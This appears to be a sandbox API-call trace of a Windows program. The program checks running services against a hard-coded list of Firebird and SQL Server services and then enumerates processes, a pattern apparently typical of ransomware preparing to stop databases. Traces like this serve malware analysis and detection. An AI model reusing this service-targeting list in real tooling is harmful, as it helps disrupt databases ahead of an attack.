	[0069.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0069.241] lstrlenW (lpString="DoSvc") returned 5
	[0069.241] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1
	[0069.241] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1
	[0069.241] lstrlenW (lpString="DPS") returned 3
	[0069.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0069.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0069.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0069.242] lstrlenW (lpString="DusmSvc") returned 7
	[0069.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0069.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0069.242] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0069.242] lstrlenW (lpString="EventLog") returned 8
	[0069.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0069.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0069.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0069.242] lstrlenW (lpString="EventSystem") returned 11
	[0069.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0069.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0069.242] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0069.242] lstrlenW (lpString="FontCache") returned 9
	[0069.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0069.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0069.242] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0069.242] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0069.242] lstrlenW (lpString="gpsvc") returned 5
	[0069.242] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0069.242] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0069.242] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0069.242] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0069.242] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0069.242] lstrlenW (lpString="iphlpsvc") returned 8
	[0069.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0069.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0069.243] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0069.243] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0069.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0069.243] lstrlenW (lpString="KeyIso") returned 6
	[0069.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0069.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0069.243] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0069.243] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0069.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0069.243] lstrlenW (lpString="LanmanServer") returned 12
	[0069.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0069.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0069.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0069.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0069.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0069.243] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0069.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0069.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0069.243] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0069.243] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0069.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0069.243] lstrlenW (lpString="lfsvc") returned 5
	[0069.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0069.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0069.243] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0069.243] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0069.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0069.243] lstrlenW (lpString="lmhosts") returned 7
	[0069.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0069.243] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0069.243] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0069.243] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0069.243] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0069.243] lstrlenW (lpString="LSM") returned 3
	[0069.243] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0069.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0069.244] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0069.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0069.244] lstrlenW (lpString="MapsBroker") returned 10
	[0069.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1
	[0069.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1
	[0069.244] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1
	[0069.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1
	[0069.244] lstrlenW (lpString="MpsSvc") returned 6
	[0069.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0069.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0069.244] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0069.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0069.244] lstrlenW (lpString="NcbService") returned 10
	[0069.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0069.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0069.244] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0069.244] lstrlenW (lpString="netprofm") returned 8
	[0069.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0069.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0069.244] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0069.244] lstrlenW (lpString="NlaSvc") returned 6
	[0069.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0069.244] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0069.244] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0069.244] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0069.244] lstrlenW (lpString="nsi") returned 3
	[0069.244] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0069.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0069.245] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0069.245] lstrlenW (lpString="PcaSvc") returned 6
	[0069.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0069.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0069.245] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0069.245] lstrlenW (lpString="PlugPlay") returned 8
	[0069.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0069.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0069.245] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0069.245] lstrlenW (lpString="Power") returned 5
	[0069.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0069.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0069.245] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0069.245] lstrlenW (lpString="ProfSvc") returned 7
	[0069.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0069.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0069.245] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0069.245] lstrlenW (lpString="RpcEptMapper") returned 12
	[0069.245] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0069.245] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0069.245] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0069.245] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0069.245] lstrlenW (lpString="RpcSs") returned 5
	[0069.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0069.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0069.246] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0069.246] lstrlenW (lpString="SamSs") returned 5
	[0069.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0069.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0069.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0069.246] lstrlenW (lpString="Schedule") returned 8
	[0069.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0069.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0069.246] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0069.246] lstrlenW (lpString="SecurityHealthService") returned 21
	[0069.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0069.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0069.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0069.246] lstrlenW (lpString="SENS") returned 4
	[0069.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0069.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0069.246] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0069.246] lstrlenW (lpString="ShellHWDetection") returned 16
	[0069.246] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.246] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0069.246] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0069.246] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0069.246] lstrlenW (lpString="Spooler") returned 7
	[0069.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0069.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0069.247] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0069.247] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0069.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0069.247] lstrlenW (lpString="SSDPSRV") returned 7
	[0069.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0069.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0069.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0069.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0069.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0069.247] lstrlenW (lpString="StateRepository") returned 15
	[0069.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0069.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0069.247] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0069.247] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0069.247] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0069.247] lstrlenW (lpString="SysMain") returned 7
	[0069.247] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0069.247] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0069.247] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0069.247] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0069.247] HeapFree (in: hHeap=0x720000, dwFlags=0x0, lpMem=0x785210 | out: hHeap=0x720000) returned 1
	[0069.247] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x360
	[0069.270] Process32FirstW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0069.270] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0069.270] lstrlenW (lpString="System") returned 6
	[0069.271] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0069.271] lstrlenW (lpString="smss.exe") returned 8
	[0069.271] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0069.272] lstrlenW (lpString="csrss.exe") returned 9
	[0069.272] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0069.272] lstrlenW (lpString="wininit.exe") returned 11
	[0069.272] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0069.273] lstrlenW (lpString="csrss.exe") returned 9
	[0069.273] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0069.273] lstrlenW (lpString="winlogon.exe") returned 12
	[0069.273] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0069.274] lstrlenW (lpString="services.exe") returned 12
	[0069.274] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0069.274] lstrlenW (lpString="lsass.exe") returned 9
	[0069.274] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.275] lstrlenW (lpString="svchost.exe") returned 11
	[0069.275] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0069.275] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0069.275] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0069.276] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0069.276] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.276] lstrlenW (lpString="svchost.exe") returned 11
	[0069.276] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0069.277] lstrlenW (lpString="dwm.exe") returned 7
	[0069.277] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.277] lstrlenW (lpString="svchost.exe") returned 11
	[0069.277] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.278] lstrlenW (lpString="svchost.exe") returned 11
	[0069.278] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.278] lstrlenW (lpString="svchost.exe") returned 11
	[0069.278] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.279] lstrlenW (lpString="svchost.exe") returned 11
	[0069.279] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.279] lstrlenW (lpString="svchost.exe") returned 11
	[0069.279] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.280] lstrlenW (lpString="svchost.exe") returned 11
	[0069.280] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.280] lstrlenW (lpString="svchost.exe") returned 11
	[0069.280] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.281] lstrlenW (lpString="svchost.exe") returned 11
	[0069.281] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.281] lstrlenW (lpString="svchost.exe") returned 11
	[0069.281] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0069.282] lstrlenW (lpString="svchost.exe") returned 11
	[0069.282] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0069.283] lstrlenW (lpString="spoolsv.exe") returned 11
	[0069.283] Process32NextW (in: hSnapshot=0x360, lppe=0x255fd2c | out: lppe=0x255fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
